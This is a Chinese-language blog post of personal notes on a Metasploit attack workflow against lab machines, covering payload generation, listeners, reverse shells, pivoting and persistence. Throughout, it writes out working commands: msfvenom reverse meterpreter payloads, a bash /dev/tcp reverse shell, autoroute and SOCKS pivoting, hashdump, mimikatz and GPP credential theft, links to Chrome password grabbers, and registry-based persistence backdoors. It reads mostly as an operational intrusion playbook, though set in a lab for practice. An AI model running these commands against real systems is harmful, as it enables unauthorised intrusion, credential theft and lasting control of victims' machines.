msf渗透测试-基本操作记录

环境

msf版本:msf6
攻击机:kali20(192.168.8.106)
靶机:win7(192.168.8.108),win12(域),Ubuntu(192.168.8.109)
实操中遇到很多类型的场景,但可惜没能作为示例展示出来,只能以靶站复现。

版本升级

msf版本升级只是在小版本内升级,即msf5不能直接升级至msf6,只能更新payload。

kali更新msf:

sudo apt update
sudo apt install metasploit-framework

mac上可以直接用msfupdate进行更新。更新可以获取最新的cve攻击载荷,强烈建议每周定期更新一次。

大致流程

准备:通过msfvenom生成木马文件作备用。

1、通过web站点拿下系统,上线msf马。若站点使用的中间件、cms甚至系统等存在漏洞,可直接在msf里搜索对应的攻击载荷,配置好payload后即可一键拿到msf session。若是普通站点,需在web站点getshell,把事先准备的马上传至服务器,在攻击机开启监听并执行马获取到msf session。如果可以rce,也可通过一句话反弹shell等方式建立连接会话。
2、在session里操作,搜集机器的杀软情况、网关信息、系统信息、自身权限、域内环境等。
3、扩大攻击面,检查arp表,配好路由后扫描C段,看是否存在其他内网/域内主机,若存在则搭建代理进一步渗透(若单机环境即可结束战斗,快进到权限维持)
4、获取本地hash,若权限不够需做提权。(非必须)
5、横跳主机,可通过ms17017等漏洞直接打,或pth做横向。(域)
6、权限维持,持续控制肉鸡。还有一些杂七杂八的清理日志事项。

生成shell

生成beacon的工具是msfvenom,基本指令格式为:

msfvenom -p 攻击载荷 lhost=监听主机IP lport=监听端口 -f 输出格式 -o 保存文件
# 需要根据payload决定参数,如使用正向shell就不需要填写监听主机IP

tips:如何选择正向shell或反弹shell
正向shell:使目标主机开启一个端口进行监听,由攻击机主动访问该目标主机端口,完成会话。适用于目标主机不出网、目标主机与攻击机不在同一局域网或攻击机没有独立公网IP(如个人PC)等情况。
反弹shell:适用于目标主机出网且攻击机有独立IP,在复杂网络环境下更方便,可使目标主机直接反弹连接而不用攻击者做多层代理访问正向连接。

选择攻击载荷
最好是选择meterpreter类型的,方便后续操作。可通过msfconsole搜索可用payload:
search meterpreter type:payload

也可以用管道进行筛选:
msfvenom -l payload | grep meterpreter

查看需要设置的参数
找到自己所需要的payload,然后查看需要设置的参数,这里以payload/windows/x64/meterpreter_reverse_tcp示例:

msfvenom操作:
msfvenom -p payload/windows/x64/meterpreter_reverse_tcp --list-options

生成马
生成命令为:

msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.8.106 lport=4444 -f exe -o ~/Desktop/msf.exe
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.8.106 lport=4444 -f exe > ~/Desktop/msf.exe

开启监听
我偏向先开启监听再执行马,之前试过先执行马再开启监听,但没有收到session,可能正确操作也该是先开启监听。
在msfconsole里,选择我们的监听模块,然后设置payload为我们的马所对应的payload,把参数都设置成一致,然后再run,跑起来。

use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp
set lhost 192.168.8.106
set lport 4444
run -j -z

-j是后台运行,-z是获取到一个session后不会停止,持续监听。当有多个马多个目标时,只需把马与回连监听的端口改一改即可。
使用jobs命令查看任务是否开启:

若想终止该任务,只需kill 任务id,这里终止后可见监听任务已经结束了。

上线msf

只需把生成的msf.exe丢到受害者机器上,双击运行,本机监听即可拿到session。(新手第一步)

当然实际环境中并不可能直接把马丢上去受害主机上运行,需要我们通过目标主机开放的服务/端口攻击进去。如通过网站拿下webshell(一句话木马为例),通过蚁剑等工具在目标机器上上传木马文件,并在终端运行马。(若目标机器存在杀软,文件上传时会被检测,需要自行免杀)

start msf.exe
# Windows

chmod +x msf
./msf
# Linux/MacOS

若是在RCE的情况下,可以直接建立反弹shell,并在msf内将cmdshell升级为meterpreter
现使用Ubuntu终端模拟RCE:

msf端开启监听:

use exploit/multi/handler
set payload cmd/unix/reverse_bash
set lhost 192.168.8.107
set lport 5555
run -j

unbutu终端(模拟RCE):

/bin/bash -i >& /dev/tcp/192.168.8.107/5555 0>&1

执行完后即可上线:

但cmdshell操作有限,需要升级为meterpreter。最简单的指令是session -u 会话ID,也可使用/post/multi/manage/shell_to_meterpreter模块。

还有一种情况是直接使用攻击载荷并获取shell,比如蓝屏ms17010、weblogic等各种漏洞,能在msf内直接攻击并拿到shell。
但这个例子我没有搭建靶场,虽然vulhub有许多合适的环境可以搭建,但奈何所处环境的WiFi太慢,不想整了,以后有机会会补图。举例,假设通过信息搜集发现目标机器开放了445端口,同时运行着weblogic服务。遇到weblogic服务可以使用网上的weblogic一键getshell工具检测,看到445端口开放可以联想到使用ms17010进行攻击,使用msf直接发起攻击:
搜索漏洞:search ms17,使用想要的模块,如use 0

使用optionshow option查看设置的参数,如关键的rhostpayload

这种方法是最直接的,成功即可返回shell。(后续找到合适的靶场再补图)

tips:若在攻击时不想新增handler,即自己已经设置好监听handler了,可以set disablepayloadhandler true,这样在攻击时不会再创建监听器。同时Windows的会话连接容易随着服务进程意外终止而断开,最好设置set autorunscript migrate -f,让msf在接收到session时自动进行进程迁移,migrate -f为自动迁移进程,一般会选择IE浏览器进程。

信息收集

拿下一台主机后,并不应该仅仅满足于此。通过当前肉鸡,对内网环境进行勘探,发现更多目标并发起攻击,逐步扩大战果。接下来的步骤在meterpreter里操作,即session -i 会话id

1、收集杀软,若机器存在杀软,则后续攻击动作需要多加小心
meterpreter命令:ps
然后需要自己根据进程表查看有没有运行中的杀软(CS有插件可以明确标识哪些进程是杀软)

2、网关情况,查看肉鸡有什么网卡,是否有内网,与哪些主机外连
meterpreter命令:ipconfigifconfig

如果看到主机有多个网关,则需要配置路由了。这里可以看到网卡C段是192.168.8.0/24,内网段可能还存在其他主机,即我们需要扫描C段,则需要把该路由添加到msf规则里。成功添加后扫描该C段的流量会从该session转发。

run autoroute -s 192.168.8.0/24
# 绑定路由
run autoroute -p
# 打印路由,看到刚刚添加的路由即可

3、发现主机,看看内网环境有什么机器,有什么外连的机器
meterpreter命令:arp
肉鸡自身IP是192.168.8.107,arp表缓存有几个同C段的目标。

进一步嗅探,使用msf的auxiliary模块中的一些扫描模块,如auxiliary/scanner/discovery/arp_sweep,对内网存活主机进行扫描:

use auxiliary/scanner/discovery/arp_sweep
set rhosts 192.168.8.0/24  # 对C段进行扫描,也可以单IP
set threads 15   # 线程高一点,扫描更快
run

但我比较喜欢使用端口扫描的方式扫描C段,顺便发现一些服务。如使用tcp scan的方式扫描主机常用端口,若开放了则代表主机存活,同时也可以根据端口规划下一步的攻击。
这里使用的是auxiliary/scanner/portscan/tcp模块,可见结果中共发现了4台域内主机有开放指定端口,同时根据端口也能大致了解机器运行了什么服务,如109是linux主机,108是Windows主机(这里为肉鸡自身)。图中为了快速把端口设置为常用端口,一般默认配置即可。

使用嗅探模块比查询自身缓存会更积极,能主动发现未通信的主机,但容易留下痕迹,如行为上在短期内会发送大量请求包。

4、域信息收集(若存在域)
在shell内执行我们所属性的语句。

net user /domain 查看域用户
net view /domain 查看有几个域
net view /domain:XXX 查看此域内电脑
net group /domain 查询域里面的组
Net group "domain computers" /domain 查看域内所有计算机名
net group "domain admins" /domain 查看域管理员
net group "domain controllers" /domain 查看域控制器
net group "enterprise admins" /domain 查看企业管理组
net time /domain 查看时间服务器

当然也可以使用msf内的模块,在meterpreter内通过run 模块的方式进行收集,使用的是post/windows/gather/enum_ad*post/windows/gather/enum_domain*模块。

tips:使用模块时快速按下两次tap键可以补全指令或罗列指令。

5、本地敏感文件收集
我们可以翻查一下肉鸡上的一些文件,如放置密码的文件、本地浏览器的cookies等。若想查找特定的文件,可以在meterpreter里的search模块。

以查找带flag字眼的文件为例:search -f *flag*

另一种很有用的本地文件是浏览器的缓存cookie,以Windows上的谷歌浏览器为例,一般是C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Cookies文件,需要用sqlite工具打开,且是加密保存的,密钥与Windows系统密码有关(锁屏密码)。所以下载到本地也无法解开,我之前遇到过这种情况,当时的思路是把一些解密谷歌浏览器cookie的工具丢至肉鸡跑解密(需要与winapi交互),参考工具:
https://github.com/byt3bl33d3r/chrome-decrypter
https://github.com/priyankchheda/chrome_password_grabber

若在域内,除了搜集记录密码的文件外,另一个安全组策略首选项gpp也应该被重视,直接使用post/windows/gather/credentials/gpp模块攻击,在meterpreter内run post/windows/gather/credentials/gpp即可。

小节总结
个人觉得最首要收集的是杀软情况,不然一个不留神就掉权限了,被杀掉了session就可惜了。当然发现了杀软也很难干掉杀软,只能在某些方面注意点,如本地放置执行文件(内网肉鸡放置fscan扫描)、执行提权、漏洞攻击等。然后是网络环境,查看有什么网段(添加路由),收集本地有价值的信息。

扩大攻击面

拿下一台肉鸡,并不是结束,我们可以通过内网扫描或域信息收集我们可以发现更多的目标,针对这些主机发起攻击并拿下他们。在此之前,我们需要确保我们能“访问”到他们。若一台机器处于内网,我们在公网上是无法访问到此主机的,因此我们需要一台能被我们访问的且能访问到内网其他主机的机器(一般就是我们的肉鸡),在这台机器上搭建隧道、代理等进行流量转发。

msf有快速的搭建socks的模块:auxiliary/server/socks_proxy

注意:srvhost和srvport是指攻击机的IP和端口,供使用者连接。

set password 123456  # 为socks代理设置密码,可选,与username组合使用
set srvhost 0.0.0.0  # 设置监听来源,可选,默认即可
set srvport 1080     # 设置监听端口,可改成其他端口
set username kkk     # 为socks代理设置用户名,可选,与password组合使用
set version 4a       # 习惯使用4a,可选的有4a,5
run                  # 自动后台运行,用jobs查看任务

run之后,用jobs能看到任务在跑即代表代理已经建立,然后我们就可以用工具去连接代理。

在Linux上可以用proxychains,先修改proxychains配置文件,为/etc/proxychains.conf/etc/proxychains4.conf

修改完毕后,在每条语句前带上proxychains即可使用代理。

在Windows上可以使用ProxifierPE工具。

设置完成即可,搭建后代理后我们就可以通过代理服务器(肉鸡)访问内网了。
优秀的工具还有很多,不一一介绍了,常用的有frpreGeorgicmpsh

另外我们也可以在meterpreter内设置端口转发,把远程服务器(内网)的某个端口的流量转发到肉鸡的某个端口上。这里用到的是portfwd

假设肉鸡IP为192.168.8.108,内网机器A的192.168.8.1上的80端口开放了内网web页面,那我们可以使用portfwd把A上的80端口流量转发到msf攻击机的38880端口上,这个过程需要肉鸡能访问内网机器A。

portfwd add -l 38880 -r 192.168.8.1 -p 80
# portfwd add -l 本地监听端口(肉鸡) -r 要访问的远程主机 -p 远程主机端口

此时访问http://msf攻击机IP:38880即可访问内网机器A的web页面。

获取本地hash

在meterpreter内可以使用hashdump尝试获取hash,但需要system权限。

如果没有system权限,可以使用getprivsgetsystem尝试提权。

想展示一下hashdump的,结果还是报错。搜了一下发现msf自带的hashdump有点bug,使用run hashdump获取到hash。

或者习惯了mimikatz的,可在meterpreter使用load mimikatz加载mimikatz(操作hash需要system)。

不过提权往往不会这么简单,常用的提权方法有ms17010(近乎无敌)、ms16075(针对本地用户提权,烂土豆)、zerologin(重置域机器密码,1472),若不知道有哪些exp可以利用或机器有哪些补丁没有打,可以使用post/multi/recon/local_exploit_suggester模块帮助查看有机器哪些漏洞可以利用。

横跳主机

在域环境下,通过pth或ptt进行横跳,跳至DC并获取krbtgt的hash可以用来制作金票,这相当于拿下了整个域。如果不在域环境,只是同网段主机,则利用类似ms17010这样的洞打进去,或者rdp弱口令登录。

这里讨论域内横跳,在肉鸡上dump hash做pth,即在上一步的“获取本地hash”环节中所得到的ntlm或明文密码,用作登录凭据。我所选用的模块是exploit/windows/smb/psexec,这个模块支持使用HASH的方式进行攻击,也可以使用明文密码的方式进行登录。先看需要设置的参数:

此处暂留坑:有域的机器与MSF主机不在同一个C段,后期使用本机做跳板,完整演示一下。

权限维持

我们熟悉的留后门的方式有添加影子用户、shift粘滞键后门、计划任务等,可使用shell手动执行命令,也可使用msf进行一键化操作,但落地的后门不免杀。

更高级的用法有:

run persistence -X -i 5 -p 4444 -r 192.168.8.106   # 可选-X,-U,-S
-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。推荐使用该参数;
-X:设置后门在系统启动后自启动。该方式会在HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。由于权限问题,会导致添加失败,后门将无法启动。
-S:作为服务自动启动代理程序(具有SYSTEM权限)
-p:监听端口
-r:监听IP

该脚本有独立模块:

设置好参数后,重启肉鸡:

但重启后,没有session回连,看了一下发现是被杀软阻止了,看来杀软是安全人员最大的天敌啊。

末尾

本篇文章只是大致记录一下msf的一些基本操作及渗透思路,以备个人不时之需。

参考链接

https://xz.aliyun.com/t/2536#toc-0
https://www.anquanke.com/post/id/164525
https://www.anquanke.com/post/id/235631

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注